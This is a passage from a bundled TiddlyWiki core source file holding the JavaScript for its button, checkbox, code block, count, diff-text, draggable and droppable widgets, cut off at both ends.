{\n\t\t\tself.invokeActionString(self.actions,self,event);\n\t\t}\n\t\tif(handled) {\n\t\t\tevent.preventDefault();\n\t\t\tevent.stopPropagation();\n\t\t}\n\t\treturn handled;\n\t},false);\n\t// Make it draggable if required\n\tif(this.dragTiddler || this.dragFilter) {\n\t\t$tw.utils.makeDraggable({\n\t\t\tdomNode: domNode,\n\t\t\tdragTiddlerFn: function() {return self.dragTiddler;},\n\t\t\tdragFilterFn: function() {return self.dragFilter;},\n\t\t\twidget: this\n\t\t});\n\t}\n\t// Insert element\n\tparent.insertBefore(domNode,nextSibling);\n\tthis.renderChildren(domNode,null);\n\tthis.domNodes.push(domNode);\n};\n\n/*\nWe don't allow actions to propagate because we trigger actions ourselves\n*/\nButtonWidget.prototype.allowActionPropagation = function() {\n\treturn false;\n};\n\nButtonWidget.prototype.getBoundingClientRect = function() {\n\treturn this.domNodes[0].getBoundingClientRect();\n};\n\nButtonWidget.prototype.isSelected = function() {\n    return this.setTitle ? (this.setField ? this.wiki.getTiddler(this.setTitle).getFieldString(this.setField) === this.setTo :\n\t\t(this.setIndex ? this.wiki.extractTiddlerDataItem(this.setTitle,this.setIndex) === this.setTo :\n\t\t\tthis.wiki.getTiddlerText(this.setTitle))) || this.defaultSetValue || this.getVariable(\"currentTiddler\") :\n\t\tthis.wiki.getTextReference(this.set,this.defaultSetValue,this.getVariable(\"currentTiddler\")) === this.setTo;\n};\n\nButtonWidget.prototype.isPoppedUp = function() {\n\tvar tiddler = this.popupTitle ? this.wiki.getTiddler(this.popupTitle) : this.wiki.getTiddler(this.popup);\n\tvar result = tiddler && tiddler.fields.text ? $tw.popup.readPopupState(tiddler.fields.text) : false;\n\treturn result;\n};\n\nButtonWidget.prototype.navigateTo = function(event) {\n\tvar bounds = this.getBoundingClientRect();\n\tthis.dispatchEvent({\n\t\ttype: \"tm-navigate\",\n\t\tnavigateTo: this.to,\n\t\tnavigateFromTitle: this.getVariable(\"storyTiddler\"),\n\t\tnavigateFromNode: this,\n\t\tnavigateFromClientRect: { top: bounds.top, left: bounds.left, width: bounds.width, right: bounds.right, bottom: bounds.bottom, height: bounds.height\n\t\t},\n\t\tnavigateSuppressNavigation: event.metaKey || event.ctrlKey || (event.button === 1),\n\t\tevent: event\n\t});\n};\n\nButtonWidget.prototype.dispatchMessage = function(event) {\n\tthis.dispatchEvent({type: this.message, param: this.param, tiddlerTitle: this.getVariable(\"currentTiddler\"), event: event});\n};\n\nButtonWidget.prototype.triggerPopup = function(event) {\n\tif(this.popupTitle) {\n\t\t$tw.popup.triggerPopup({\n\t\t\tdomNode: this.domNodes[0],\n\t\t\ttitle: this.popupTitle,\n\t\t\twiki: this.wiki,\n\t\t\tnoStateReference: true\n\t\t});\n\t} else {\n\t\t$tw.popup.triggerPopup({\n\t\t\tdomNode: this.domNodes[0],\n\t\t\ttitle: this.popup,\n\t\t\twiki: this.wiki\n\t\t});\n\t}\n};\n\nButtonWidget.prototype.setTiddler = function() {\n\tif(this.setTitle) {\n\t\tthis.setField ? this.wiki.setText(this.setTitle,this.setField,undefined,this.setTo) :\n\t\t\t\t(this.setIndex ? this.wiki.setText(this.setTitle,undefined,this.setIndex,this.setTo) :\n\t\t\t\tthis.wiki.setText(this.setTitle,\"text\",undefined,this.setTo));\n\t} else {\n\t\tthis.wiki.setTextReference(this.set,this.setTo,this.getVariable(\"currentTiddler\"));\n\t}\n};\n\n/*\nCompute the internal state of the widget\n*/\nButtonWidget.prototype.execute = function() {\n\t// Get attributes\n\tthis.actions = this.getAttribute(\"actions\");\n\tthis.to = this.getAttribute(\"to\");\n\tthis.message = this.getAttribute(\"message\");\n\tthis.param = this.getAttribute(\"param\");\n\tthis.set = this.getAttribute(\"set\");\n\tthis.setTo = this.getAttribute(\"setTo\");\n\tthis.popup = this.getAttribute(\"popup\");\n\tthis.hover = this.getAttribute(\"hover\");\n\tthis[\"class\"] = this.getAttribute(\"class\",\"\");\n\tthis[\"aria-label\"] = this.getAttribute(\"aria-label\");\n\tthis.tooltip = this.getAttribute(\"tooltip\");\n\tthis.style = this.getAttribute(\"style\");\n\tthis.selectedClass = this.getAttribute(\"selectedClass\");\n\tthis.defaultSetValue = this.getAttribute(\"default\",\"\");\n\tthis.buttonTag = this.getAttribute(\"tag\");\n\tthis.dragTiddler = this.getAttribute(\"dragTiddler\");\n\tthis.dragFilter = this.getAttribute(\"dragFilter\");\n\tthis.setTitle = this.getAttribute(\"setTitle\");\n\tthis.setField = this.getAttribute(\"setField\");\n\tthis.setIndex = this.getAttribute(\"setIndex\");\n\tthis.popupTitle = this.getAttribute(\"popupTitle\");\n\t// Make child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nButtonWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.to || changedAttributes.message || changedAttributes.param || changedAttributes.set || changedAttributes.setTo || changedAttributes.popup || changedAttributes.hover || changedAttributes[\"class\"] || changedAttributes.selectedClass || changedAttributes.style || changedAttributes.dragFilter || changedAttributes.dragTiddler || (this.set && changedTiddlers[this.set]) || (this.popup && changedTiddlers[this.popup]) || (this.popupTitle && changedTiddlers[this.popupTitle]) || changedAttributes.setTitle || changedAttributes.setField || changedAttributes.setIndex || changedAttributes.popupTitle) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\treturn this.refreshChildren(changedTiddlers);\n};\n\nexports.button = ButtonWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/checkbox.js": {
            "title": "$:/core/modules/widgets/checkbox.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/checkbox.js\ntype: application/javascript\nmodule-type: widget\n\nCheckbox widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar CheckboxWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nCheckboxWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nCheckboxWidget.prototype.render = function(parent,nextSibling) {\n\t// Save the parent dom node\n\tthis.parentDomNode = parent;\n\t// Compute our attributes\n\tthis.computeAttributes();\n\t// Execute our logic\n\tthis.execute();\n\t// Create our elements\n\tthis.labelDomNode = this.document.createElement(\"label\");\n\tthis.labelDomNode.setAttribute(\"class\",this.checkboxClass);\n\tthis.inputDomNode = this.document.createElement(\"input\");\n\tthis.inputDomNode.setAttribute(\"type\",\"checkbox\");\n\tif(this.getValue()) {\n\t\tthis.inputDomNode.setAttribute(\"checked\",\"true\");\n\t}\n\tthis.labelDomNode.appendChild(this.inputDomNode);\n\tthis.spanDomNode = this.document.createElement(\"span\");\n\tthis.labelDomNode.appendChild(this.spanDomNode);\n\t// Add a click event handler\n\t$tw.utils.addEventListeners(this.inputDomNode,[\n\t\t{name: \"change\", handlerObject: this, handlerMethod: \"handleChangeEvent\"}\n\t]);\n\t// Insert the label into the DOM and render any children\n\tparent.insertBefore(this.labelDomNode,nextSibling);\n\tthis.renderChildren(this.spanDomNode,null);\n\tthis.domNodes.push(this.labelDomNode);\n};\n\nCheckboxWidget.prototype.getValue = function() {\n\tvar tiddler = this.wiki.getTiddler(this.checkboxTitle);\n\tif(tiddler) {\n\t\tif(this.checkboxTag) {\n\t\t\tif(this.checkboxInvertTag) {\n\t\t\t\treturn !tiddler.hasTag(this.checkboxTag);\n\t\t\t} else {\n\t\t\t\treturn tiddler.hasTag(this.checkboxTag);\n\t\t\t}\n\t\t}\n\t\tif(this.checkboxField) {\n\t\t\tvar value;\n\t\t\tif($tw.utils.hop(tiddler.fields,this.checkboxField)) {\n\t\t\t\tvalue = tiddler.fields[this.checkboxField] || \"\";\n\t\t\t} else {\n\t\t\t\tvalue = this.checkboxDefault || \"\";\n\t\t\t}\n\t\t\tif(value === this.checkboxChecked) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tif(value === this.checkboxUnchecked) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\tif(this.checkboxIndex) {\n\t\t\tvar value = this.wiki.extractTiddlerDataItem(tiddler,this.checkboxIndex,this.checkboxDefault || \"\");\n\t\t\tif(value === this.checkboxChecked) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tif(value === this.checkboxUnchecked) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t} else {\n\t\tif(this.checkboxTag) {\n\t\t\treturn false;\n\t\t}\n\t\tif(this.checkboxField) {\n\t\t\tif(this.checkboxDefault === this.checkboxChecked) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tif(this.checkboxDefault === this.checkboxUnchecked) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t}\n\treturn false;\n};\n\nCheckboxWidget.prototype.handleChangeEvent = function(event) {\n\tvar checked = this.inputDomNode.checked,\n\t\ttiddler = this.wiki.getTiddler(this.checkboxTitle),\n\t\tfallbackFields = {text: \"\"},\n\t\tnewFields = {title: this.checkboxTitle},\n\t\thasChanged = false,\n\t\ttagCheck = false,\n\t\thasTag = tiddler && tiddler.hasTag(this.checkboxTag),\n\t\tvalue = checked ? this.checkboxChecked : this.checkboxUnchecked;\n\tif(this.checkboxTag && this.checkboxInvertTag === \"yes\") {\n\t\ttagCheck = hasTag === checked;\n\t} else {\n\t\ttagCheck = hasTag !== checked;\n\t}\n\t// Set the tag if specified\n\tif(this.checkboxTag && (!tiddler || tagCheck)) {\n\t\tnewFields.tags = tiddler ? (tiddler.fields.tags || []).slice(0) : [];\n\t\tvar pos = newFields.tags.indexOf(this.checkboxTag);\n\t\tif(pos !== -1) {\n\t\t\tnewFields.tags.splice(pos,1);\n\t\t}\n\t\tif(this.checkboxInvertTag === \"yes\" && !checked) {\n\t\t\tnewFields.tags.push(this.checkboxTag);\n\t\t} else if(this.checkboxInvertTag !== \"yes\" && checked) {\n\t\t\tnewFields.tags.push(this.checkboxTag);\n\t\t}\n\t\thasChanged = true;\n\t}\n\t// Set the field if specified\n\tif(this.checkboxField) {\n\t\tif(!tiddler || tiddler.fields[this.checkboxField] !== value) {\n\t\t\tnewFields[this.checkboxField] = value;\n\t\t\thasChanged = true;\n\t\t}\n\t}\n\t// Set the index if specified\n\tif(this.checkboxIndex) {\n\t\tvar indexValue = this.wiki.extractTiddlerDataItem(this.checkboxTitle,this.checkboxIndex);\n\t\tif(!tiddler || indexValue !== value) {\n\t\t\thasChanged = true;\n\t\t}\n\t}\n\tif(hasChanged) {\n\t\tif(this.checkboxIndex) {\n\t\t\tthis.wiki.setText(this.checkboxTitle,\"\",this.checkboxIndex,value);\n\t\t} else {\n\t\t\tthis.wiki.addTiddler(new $tw.Tiddler(this.wiki.getCreationFields(),fallbackFields,tiddler,newFields,this.wiki.getModificationFields()));\n\t\t}\n\t}\n\t// Trigger actions\n\tif(this.checkboxActions) {\n\t\tthis.invokeActionString(this.checkboxActions,this,event);\n\t}\n\tif(this.checkboxUncheckActions && !checked) {\n\t\tthis.invokeActionString(this.checkboxUncheckActions,this,event);\n\t}\n};\n\n/*\nCompute the internal state of the widget\n*/\nCheckboxWidget.prototype.execute = function() {\n\t// Get the parameters from the attributes\n\tthis.checkboxActions = this.getAttribute(\"actions\");\n\tthis.checkboxUncheckActions = this.getAttribute(\"uncheckactions\");\n\tthis.checkboxTitle = this.getAttribute(\"tiddler\",this.getVariable(\"currentTiddler\"));\n\tthis.checkboxTag = this.getAttribute(\"tag\");\n\tthis.checkboxField = this.getAttribute(\"field\");\n\tthis.checkboxIndex = this.getAttribute(\"index\");\n\tthis.checkboxChecked = this.getAttribute(\"checked\");\n\tthis.checkboxUnchecked = this.getAttribute(\"unchecked\");\n\tthis.checkboxDefault = this.getAttribute(\"default\");\n\tthis.checkboxClass = this.getAttribute(\"class\",\"\");\n\tthis.checkboxInvertTag = this.getAttribute(\"invertTag\",\"\");\n\t// Make the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nCheckboxWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.tiddler || changedAttributes.tag || changedAttributes.invertTag || changedAttributes.field || changedAttributes.index || changedAttributes.checked || changedAttributes.unchecked || changedAttributes[\"default\"] || changedAttributes[\"class\"]) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\tvar refreshed = false;\n\t\tif(changedTiddlers[this.checkboxTitle]) {\n\t\t\tthis.inputDomNode.checked = this.getValue();\n\t\t\trefreshed = true;\n\t\t}\n\t\treturn this.refreshChildren(changedTiddlers) || refreshed;\n\t}\n};\n\nexports.checkbox = CheckboxWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/codeblock.js": {
            "title": "$:/core/modules/widgets/codeblock.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/codeblock.js\ntype: application/javascript\nmodule-type: widget\n\nCode block node widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar CodeBlockWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nCodeBlockWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nCodeBlockWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tvar codeNode = this.document.createElement(\"code\"),\n\t\tdomNode = this.document.createElement(\"pre\");\n\tcodeNode.appendChild(this.document.createTextNode(this.getAttribute(\"code\")));\n\tdomNode.appendChild(codeNode);\n\tparent.insertBefore(domNode,nextSibling);\n\tthis.domNodes.push(domNode);\n\tif(this.postRender) {\n\t\tthis.postRender();\n\t}\n};\n\n/*\nCompute the internal state of the widget\n*/\nCodeBlockWidget.prototype.execute = function() {\n\tthis.language = this.getAttribute(\"language\");\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nCodeBlockWidget.prototype.refresh = function(changedTiddlers) {\n\treturn false;\n};\n\nexports.codeblock = CodeBlockWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/count.js": {
            "title": "$:/core/modules/widgets/count.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/count.js\ntype: application/javascript\nmodule-type: widget\n\nCount widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar CountWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nCountWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nCountWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tvar textNode = this.document.createTextNode(this.currentCount);\n\tparent.insertBefore(textNode,nextSibling);\n\tthis.domNodes.push(textNode);\n};\n\n/*\nCompute the internal state of the widget\n*/\nCountWidget.prototype.execute = function() {\n\t// Get parameters from our attributes\n\tthis.filter = this.getAttribute(\"filter\");\n\t// Execute the filter\n\tif(this.filter) {\n\t\tthis.currentCount = this.wiki.filterTiddlers(this.filter,this).length;\n\t} else {\n\t\tthis.currentCount = undefined;\n\t}\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nCountWidget.prototype.refresh = function(changedTiddlers) {\n\t// Re-execute the filter to get the count\n\tthis.computeAttributes();\n\tvar oldCount = this.currentCount;\n\tthis.execute();\n\tif(this.currentCount !== oldCount) {\n\t\t// Regenerate and rerender the widget and replace the existing DOM node\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn false;\n\t}\n\n};\n\nexports.count = CountWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/diff-text.js": {
            "title": "$:/core/modules/widgets/diff-text.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/diff-text.js\ntype: application/javascript\nmodule-type: widget\n\nWidget to display a diff between two texts\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget,\n\tdmp = require(\"$:/core/modules/utils/diff-match-patch/diff_match_patch.js\");\n\nvar DiffTextWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nDiffTextWidget.prototype = new Widget();\n\nDiffTextWidget.prototype.invisibleCharacters = {\n\t\"\\n\": \"↩︎\\n\",\n\t\"\\r\": \"⇠\",\n\t\"\\t\": \"⇥\\t\"\n};\n\n/*\nRender this widget into the DOM\n*/\nDiffTextWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\t// Create the diff\n\tvar dmpObject = new dmp.diff_match_patch(),\n\t\tdiffs = dmpObject.diff_main(this.getAttribute(\"source\"),this.getAttribute(\"dest\"));\n\t// Apply required cleanup\n\tswitch(this.getAttribute(\"cleanup\",\"semantic\")) {\n\t\tcase \"none\":\n\t\t\t// No cleanup\n\t\t\tbreak;\n\t\tcase \"efficiency\":\n\t\t\tdmpObject.diff_cleanupEfficiency(diffs);\n\t\t\tbreak;\n\t\tdefault: // case \"semantic\"\n\t\t\tdmpObject.diff_cleanupSemantic(diffs);\n\t\t\tbreak;\n\t}\n\t// Create the elements\n\tvar domContainer = this.document.createElement(\"div\"), \n\t\tdomDiff = this.createDiffDom(diffs);\n\tparent.insertBefore(domContainer,nextSibling);\n\t// Set variables\n\tthis.setVariable(\"diff-count\",diffs.reduce(function(acc,diff) {\n\t\tif(diff[0] !== dmp.DIFF_EQUAL) {\n\t\t\tacc++;\n\t\t}\n\t\treturn acc;\n\t},0).toString());\n\t// Render child widgets\n\tthis.renderChildren(domContainer,null);\n\t// Render the diff\n\tdomContainer.appendChild(domDiff);\n\t// Save our container\n\tthis.domNodes.push(domContainer);\n};\n\n/*\nCreate DOM elements representing a list of diffs\n*/\nDiffTextWidget.prototype.createDiffDom = function(diffs) {\n\tvar self = this;\n\t// Create the element and assign the attributes\n\tvar domPre = this.document.createElement(\"pre\"),\n\t\tdomCode = this.document.createElement(\"code\");\n\t$tw.utils.each(diffs,function(diff) {\n\t\tvar tag = diff[0] === dmp.DIFF_INSERT ? \"ins\" : (diff[0] === dmp.DIFF_DELETE ? \"del\" : \"span\"),\n\t\t\tclassName = diff[0] === dmp.DIFF_INSERT ? \"tc-diff-insert\" : (diff[0] === dmp.DIFF_DELETE ? \"tc-diff-delete\" : \"tc-diff-equal\"),\n\t\t\tdom = self.document.createElement(tag),\n\t\t\ttext = diff[1],\n\t\t\tcurrPos = 0,\n\t\t\tre = /([\\x00-\\x1F])/mg,\n\t\t\tmatch = re.exec(text),\n\t\t\tspan,\n\t\t\tprintable;\n\t\tdom.className = className;\n\t\twhile(match) {\n\t\t\tif(currPos < match.index) {\n\t\t\t\tdom.appendChild(self.document.createTextNode(text.slice(currPos,match.index)));\n\t\t\t}\n\t\t\tspan = self.document.createElement(\"span\");\n\t\t\tspan.className = \"tc-diff-invisible\";\n\t\t\tprintable = self.invisibleCharacters[match[0]] || (\"[0x\" + match[0].charCodeAt(0).toString(16) + \"]\");\n\t\t\tspan.appendChild(self.document.createTextNode(printable));\n\t\t\tdom.appendChild(span);\n\t\t\tcurrPos = match.index + match[0].length;\n\t\t\tmatch = re.exec(text);\n\t\t}\n\t\tif(currPos < text.length) {\n\t\t\tdom.appendChild(self.document.createTextNode(text.slice(currPos)));\n\t\t}\n\t\tdomCode.appendChild(dom);\n\t});\n\tdomPre.appendChild(domCode);\n\treturn domPre;\n};\n\n/*\nCompute the internal state of the widget\n*/\nDiffTextWidget.prototype.execute = function() {\n\t// Make child widgets\n\tvar parseTreeNodes;\n\tif(this.parseTreeNode && this.parseTreeNode.children && this.parseTreeNode.children.length > 0) {\n\t\tparseTreeNodes = this.parseTreeNode.children;\n\t} else {\n\t\tparseTreeNodes = [{\n\t\t\ttype: \"transclude\",\n\t\t\tattributes: {\n\t\t\t\ttiddler: {type: \"string\", value: \"$:/language/Diffs/CountMessage\"}\n\t\t\t}\n\t\t}];\n\t}\n\tthis.makeChildWidgets(parseTreeNodes);\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nDiffTextWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.source || changedAttributes.dest || changedAttributes.cleanup) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn this.refreshChildren(changedTiddlers);\n\t}\n};\n\nexports[\"diff-text\"] = DiffTextWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/draggable.js": {
            "title": "$:/core/modules/widgets/draggable.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/draggable.js\ntype: application/javascript\nmodule-type: widget\n\nDraggable widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar DraggableWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nDraggableWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nDraggableWidget.prototype.render = function(parent,nextSibling) {\n\tvar self = this;\n\t// Save the parent dom node\n\tthis.parentDomNode = parent;\n\t// Compute our attributes\n\tthis.computeAttributes();\n\t// Execute our logic\n\tthis.execute();\n\t// Sanitise the specified tag\n\tvar tag = this.draggableTag;\n\tif($tw.config.htmlUnsafeElements.indexOf(tag) !== -1) {\n\t\ttag = \"div\";\n\t}\n\t// Create our element\n\tvar domNode = this.document.createElement(tag);\n\t// Assign classes\n\tvar classes = [\"tc-draggable\"];\n\tif(this.draggableClasses) {\n\t\tclasses.push(this.draggableClasses);\n\t}\n\tdomNode.setAttribute(\"class\",classes.join(\" \"));\n\t// Add event handlers\n\t$tw.utils.makeDraggable({\n\t\tdomNode: domNode,\n\t\tdragTiddlerFn: function() {return self.getAttribute(\"tiddler\");},\n\t\tdragFilterFn: function() {return self.getAttribute(\"filter\");},\n\t\tstartActions: self.startActions,\n\t\tendActions: self.endActions,\n\t\twidget: this\n\t});\n\t// Insert the link into the DOM and render any children\n\tparent.insertBefore(domNode,nextSibling);\n\tthis.renderChildren(domNode,null);\n\tthis.domNodes.push(domNode);\n};\n\n/*\nCompute the internal state of the widget\n*/\nDraggableWidget.prototype.execute = function() {\n\t// Pick up our attributes\n\tthis.draggableTag = this.getAttribute(\"tag\",\"div\");\n\tthis.draggableClasses = this.getAttribute(\"class\");\n\tthis.startActions = this.getAttribute(\"startactions\");\n\tthis.endActions = this.getAttribute(\"endactions\");\n\t// Make the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nDraggableWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedTiddlers.tag || changedTiddlers[\"class\"]) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\treturn this.refreshChildren(changedTiddlers);\n};\n\nexports.draggable = DraggableWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/droppable.js": {
            "title": "$:/core/modules/widgets/droppable.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/droppable.js\ntype: application/javascript\nmodule-type: widget\n\nDroppable widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar DroppableWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nDroppableWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nDroppableWidget.prototype.render = function(parent,nextSibling) {\n\tvar self = this;\n\t// Remember parent\n\tthis.parentDomNode = parent;\n\t// Compute attributes and execute state\n\tthis.computeAttributes();\n\tthis.execute();\n\tvar tag = this.parseTreeNode.isBlock ? \"div\" : \"span\";\n\tif(this.droppableTag && $tw.config.htmlUnsafeElements.indexOf(this.droppableTag) === -1) {\n\t\ttag = this.droppableTag;\n\t}\n\t// Create element and assign classes\n\tvar domNode = this.document.createElement(tag),\n\t\tclasses = (this[\"class\"] || \"\").split(\" \");\n\tclasses.push(\"tc-droppable\");\n\tdomNode.className = classes.join(\" \");\n\t// Add event handlers\n\t$tw.utils.addEventListeners(domNode,[\n\t\t{name: \"dragenter\", handlerObject: this, handlerMethod: \"handleDragEnterEvent\"},\n\t\t{name: \"dragover\", handlerObject: this, handlerMethod: \"handleDragOverEvent\"},\n\t\t{name: \"dragleave\", handlerObject: this, handlerMethod: \"handleDragLeaveEvent\"},\n\t\t{name: \"drop\", handlerObject: this, handlerMethod: \"handleDropEvent\"}\n\t]);\n\t// Insert element\n\tparent.insertBefore(domNode,nextSibling);\n\tthis.renderChildren(domNode,null);\n\tthis.domNodes.push(domNode);\n\t// Stack of outstanding enter/leave events\n\tthis.currentlyEntered = [];\n};\n\nDroppableWidget.prototype.enterDrag = function(event) {\n\tif(this.currentlyEntered.indexOf(event.target) === -1) {\n\t\tthis.currentlyEntered.push(event.target);\n\t}\n\t// If we're entering for the first time we need to apply highlighting\n\t$tw.utils.addClass(this.domNodes[0],\"tc-dragover\");\n};\n\nDroppableWidget.prototype.leaveDrag = function(event) {\n\tvar pos = this.currentlyEntered.indexOf(event.target);\n\tif(pos !== -1) {\n\t\tthis.currentlyEntered.splice(pos,1);\n\t}\n\t// Remove highlighting if we're leaving externally. The hacky second condition is to resolve a problem with Firefox whereby there is an erroneous dragenter event if the node being dragged is within the dropzone\n\tif(this.currentlyEntered.length === 0 || (this.currentlyEntered.length === 1 && this.currentlyEntered[0] === $tw.dragInProgress)) {\n\t\tthis.currentlyEntered = [];\n\t\t$tw.utils.removeClass(this.domNodes[0],\"tc-dragover\");\n\t}\n};\n\nDroppableWidget.prototype.handleDragEnterEvent  = function(event) {\n\tthis.enterDrag(event);\n\t// Tell the browser that we're ready to handle the drop\n\tevent.preventDefault();\n\t// Tell the browser not to ripple the drag up to any parent drop handlers\n\tevent.stopPropagation();\n\treturn false;\n};\n\nDroppableWidget.prototype.handleDragOverEvent  = function(event) {\n\t// Check for being over a TEXTAREA or INPUT\n\tif([\"TEXTAREA\",\"INPUT\"].indexOf(event.target.tagName) !== -1) {\n\t\treturn false;\n\t}\n\t// Tell the browser that we're still interested in the drop\n\tevent.preventDefault();\n\t// Set the drop effect\n\tevent.dataTransfer.dropEffect = this.droppableEffect;\n\treturn false;\n};\n\nDroppableWidget.prototype.handleDragLeaveEvent  = function(event) {\n\tthis.leaveDrag(event);\n\treturn false;\n};\n\nDroppableWidget.prototype.handleDropEvent  = function(event) {\n\tvar self = this;\n\tthis.leaveDrag(event);\n\t// Check for being over a TEXTAREA or INPUT\n\tif([\"TEXTAREA\",\"INPUT\"].indexOf(event.target.tagName) !== -1) {\n\t\treturn false;\n\t}\n\tvar dataTransfer = event.dataTransfer;\n\t// Remove highlighting\n\t$tw.utils.removeClass(this.domNodes[0],\"tc-dragover\");\n\t// Try to import the various data types we understand\n\t$tw.utils.importDataTransfer(dataTransfer,null,function(fieldsArray) {\n\t\tfieldsArray.forEach(function(fields) {\n\t\t\tself.performActions(fields.title || fields.text,event);\n\t\t});\n\t});\n\t// Tell the browser that we handled the drop\n\tevent.preventDefault();\n\t// Stop the drop ripple up to any parent handlers\n\tevent.stopPropagation();\n\treturn false;\n};\n\nDroppableWidget.prototype.performActions = function(title,event) {\n\tif(this.droppableActions) {\n\t\tvar modifierKey = event.ctrlKey && ! event.shiftKey ? \"ctrl\" : event.shiftKey && !event.ctrlKey ? \"shift\" : \n\t\t\t\tevent.ctrlKey && event.shiftKey ? \"ctrl-shift\" : \"normal\" ;\n\t\tthis.invokeActionString(this.droppableActions,this,event,{actionTiddler: title, modifier: modifierKey});\n\t}\n};\n\n/*\nCompute the internal state of the widget\n*/\nDroppableWidget.prototype.execute = function() {\n\tthis.droppableActions = this.getAttribute(\"actions\");\n\tthis.droppableEffect = this.getAttribute(\"effect\",\"copy\");\n\tthis.droppableTag = this.getAttribute(\"tag\");\n\tthis.droppableClass = this.getAttribute(\"class\");\n\t// Make child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nDroppableWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes[\"class\"] || changedAttributes.tag) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\treturn this.refreshChildren(changedTiddlers);\n};\n\nexports.droppable = DroppableWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/dropzone.js": {
            "title": "$:/core/modules/widgets/dropzone.js",
